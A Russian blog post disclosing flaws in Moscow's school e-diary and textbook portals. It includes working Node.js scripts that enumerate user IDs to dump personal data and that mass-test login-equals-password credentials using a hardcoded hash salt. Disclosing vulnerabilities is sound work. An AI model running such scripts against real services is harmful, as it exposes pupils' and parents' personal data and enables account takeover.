Уязвимость в электронном дневнике или как украсть персональные данные 2 миллионов пользователей +47
Информационная безопасность
Рекомендация: подборка платных и бесплатных курсов Python - https://katalog-kursov.ru/
В предыдущей статье я рассказал про особенность генерации логинов и паролей в электронном дневнике, разработанном ДИТ'ом. Используя её, кто угодно мог получить доступ к любому чужому аккаунту и после просмотреть оценки ученика, изменить оценки учащихся от имени учителя, получить персональные данные владельца аккаунта или совершить любые другие действия от имени пользователей. Всем учителям сменили пароли, но остались ученики и родители со старыми паролями.
В этой статье пойдет речь о багах/уязвимостях в том же проекте.
Учитывая выше описанную особенность генерации логинов, можно было сделать вывод, что дневник разрабатывался не очень ответственно. Поэтому я решил попробовать поломать его ещё раз. Вся система состояла из фронтенда, который был написан на Angular. Он получал информацию с помощью API дневника, в котором и были найдены уязвимости/баги.
Баг 1
При получении пользовательских данных, отправлялся запрос по адресу
dnevnik.mos.ru/lms/api/users/{user-id}. К запросу также надо было добавить токен, идентификатор профиля в виде header'ов для получения ответа. Ответ возвращался в формате JSON и состоял из: фамилии, имени, отчества, почты, телефона, прав пользователя (ученик/учитель/родитель), даты рождения, пола, списка профилей, привязанных к пользователю, и логина.
Наверное, разработчики хотели, чтобы пользователь с правами ученика мог получать данные только о себе, а учитель о себе и об учениках, но получилось, что пользователь с любой привилегией мог получать информацию о любом другом пользователе. Получился короткий скрипт на Node.
Эксплуатацияvar fs = require('fs');
var request = require('request');
var i = 1;
var interval = setInterval(function() {
parse(i);
i += 10;
if (i > lastId) // идентификатор пользователя, на котором необходимо закончить
clearInterval(interval);
}, 200);
var parse = function (i) {
for (var j = i; j < i + 10; ++j)
request.get({url: "https://dnevnik.mos.ru/lms/api/users/" + j, headers: {'Accept': 'application/vnd.api.v2+json', 'Auth-Token': '********************************', 'Profile-Id': '*****'}}, function(err, res, body) {
if (err)
return console.error('upload failed:', err);
fs.appendFileSync('out.txt', body + '\n');
});
};
Как вы уже, я думаю, заметили, данных было очень много, и, скорее всего, владелец аккаунта был бы не доволен, если бы его телефон, почту и персональные данные получил бы левый человек, который мог бы использовать их не для благих целей.
Баг 2
После нахождения первого бага я получил логины небольшого количества пользователей и решил проверить, сменили ли всем пользователям пароли (раньше логины и пароли всех пользователей был одинаковыми). Однако, после случая с нахождением
особенности, разработчики сделали для учеников и родителей авторизацию через портал государственных услуг — для того, чтобы зайти в дневник, надо было: авторизоваться на портале гос. услуг, один раз (при первой авторизации) ввести логин, пароль от дневника и нажать кнопку «Войти». При авторизации нас перенаправляли в
МРКО (еще один электронный дневник от ДИТ'a или МЦКО) с логином и паролем, там нам выдавали токен и перенаправляли в дневник (о котором сейчас идет речь). Из-за этого авторизация была немного долгой, и я решил пойти другим путем.
Я вспомнил о еще одном проекте ДИТ'а, связанным с образованием, в котором использовалась авторизация с помощью логинов и паролей от МРКО и дневника, —
система электронных учебников. Через «Учебник» авторизация происходила быстрей, чем через МРКО, и еще одна замечательная особенность была в «Учебнике». Она состояла в том, что при авторизации через «Учебник» выдавали токен, который можно было использовать и в дневнике, и в «Учебнике».
Эксплуатацияvar request = require('request');
var fs = require('fs');
var crypto = require('crypto');
var md5 = function(str) {
return crypto.createHash('md5').update(str).digest("hex");
};
var min = function(a, b) {
if (a > b) return b;
else return a;
}
var authorize = function(login, pass) {
request({
uri: 'https://uchebnik.mos.ru/api/sessions',
method: 'POST',
json: {"login": login, "second_factor":"", "password_hash": md5(pass + "4f8202ccd76210b47b40627c621daa56"), "password_hash2": md5(pass)},
headers : {
'Accept' : 'application/json',
'Content-Type' : 'application/json'
}
}, function (error, response, body) {
if (!error) {
if (body.type != null && body.type == 'authentication_error')
return 0;
else {
console.log("Bad login was found :)");
fs.appendFile('auth.txt', JSON.stringify(body) + '\n');
}
} else {
return console.error("Error: ", error);
}
});
};
fs.readFile('out.txt', function read(err, data) {
if (err)
throw err;
else
console.log("File was read");
data = data.toString();
var arr = data.split('\n');
var i = 0;
var interval = setInterval(function() {
if (i > arr.length)
clearInterval(interval);
for (var j = i; j < min(i + 1, arr.length); ++j) {
var login;
try {
login = JSON.parse(arr[i]).gusoev_login;
} catch(e) {}
authorize(login, login);
}
i += 10;
}, 100);
});
После проверки совпадения логинов и паролей на небольшом количестве пользователей выяснилось, что у ~15% пользователей логины и пароли одинаковые. Также после случая, описанного
в статье, некоторым ученикам выдали новый пароль, состоящий из даты рождения. Например, если ваша дата рождения была 1 февраля 2000 года, тогда ваш пароль мог бы быть —
01022000. Я проверил ещё есть ли пароли такие же, что и даты рождения, и у каких-то пользователей они к несчастью были.
Из этого можно сделать вывод, что о безопасности аккаунтов учеников и родителей заботятся меньше, чем об аккаунтах учителей. Вроде бы, понятно почему — если получат доступ к аккаунту учителя, ущерб будет больше, но ведь ученики и родители тоже не будут довольны, если их оценки, телефон, персональные данные получат люди, который не должны иметь возможность их получить.
Баг 3
Из того, что МРКО может проверить со своего сервера, верный ли логин, пароль от дневника (о котором идет речь), а «Учебник» может проверить логин, пароль от МРКО и дневника или выдать токен, который будет работать не только в «Учебнике», но и в дневнике, можно сделать предположение, что все три эти системы хранят данные в одной базе, и из-за чего возникают проблемы. Позже я выяснил, что дневник выдает в списках профилях профили от дневника и от МРКО — к одному «живому» пользователю может быть привязано несколько учетных записей, и один «живой» пользователь может иметь учетную запись и в МРКО, и в дневнике. Для каждой учетной записи есть логин, пароль, которые можно использовать в той системе, для которой была создана учетная запись, или в «Учебнике».
Третий баг был бы нерабочим, если бы токен от «Учебника» нельзя было использовать для авторизации в дневнике. Он заключается в том, что при авторизации в систему (в «Учебник») токен привязывается к первой учетной записи в списке профилей пользователя. Из-за этого, если первая учетная запись была создана для дневника, то токен можно использовать для получения доступа в дневник. В итоге, зная логин, пароль одного человека от МРКО, можно было получить доступ к его аккаунту в дневнике.
Баг 4
После нахождения трёх выше описанных уязвимостей/багов, я написал в тех. поддержку, и их закрыли. Четвертый баг почти такой же, что и первый. Он заключается в том, что пользователь с любыми правами может получить пользовательские данные любого пользователя, отправив запрос на
uchebnik.mos.ru/api/users/{user-id} с токеном и идентификатором профиля.
Четвёртый баг и особенность генерации логинов и паролей закрывать не хотели, но думаю, что после этой публикации, хотя бы четвертый исправят.